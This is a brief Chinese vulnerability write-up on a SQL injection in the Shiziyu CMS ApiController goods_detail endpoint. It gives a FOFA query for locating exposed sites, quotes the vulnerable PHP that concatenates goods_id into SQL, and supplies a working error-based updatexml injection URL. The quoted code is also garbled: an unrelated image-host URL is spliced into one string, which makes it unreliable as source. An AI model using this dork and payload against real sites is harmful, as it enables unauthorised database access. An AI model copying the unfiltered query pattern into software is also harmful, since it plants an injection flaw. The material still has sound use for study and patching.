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漏洞描述

狮子鱼 CMS ApiController.class.php 参数过滤存在不严谨，导致 SQL 注入漏洞

漏洞影响

狮子鱼CMS

FOFA

"/seller.php?s=/Public/login"

漏洞复现

登录界面如下

 poc

存在漏洞的文件为 ApiController.class.php , 关键位置为

public function goods_detail()
{
    $goods_id = I('get.goods_id');
    //gallery =>img_url
    //goods goods.goods_desc goods_name group_price market_price sell_count group_number

    $sql="select g.*,gd.description,gd.summary,gd.tag from ".
    C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description
    
    gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;

    $goods_arr=M()->query($sql);

    $qian=array("
");
    $hou=array("<br/>");
    $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']);

    $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
    $goods_image=M()->query($sql);

    $gallery = array();
    $default_image = '';
    foreach($goods_image as $val)
    {
        $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vul n/'.$val['image'];

        if(empty($default_image))
        {
            $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
        }

        $gallery[] = array('img_url' => $val['img_url']);
    }

    $goods = $goods_arr[0];
}

漏洞测试为 

https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20 updatexml(1,concat(0x7e,md5(1),0x7e),1)

图片显示 

 文章内容源

http://www.wwlib.cn/index.php/artread/artid/10227.html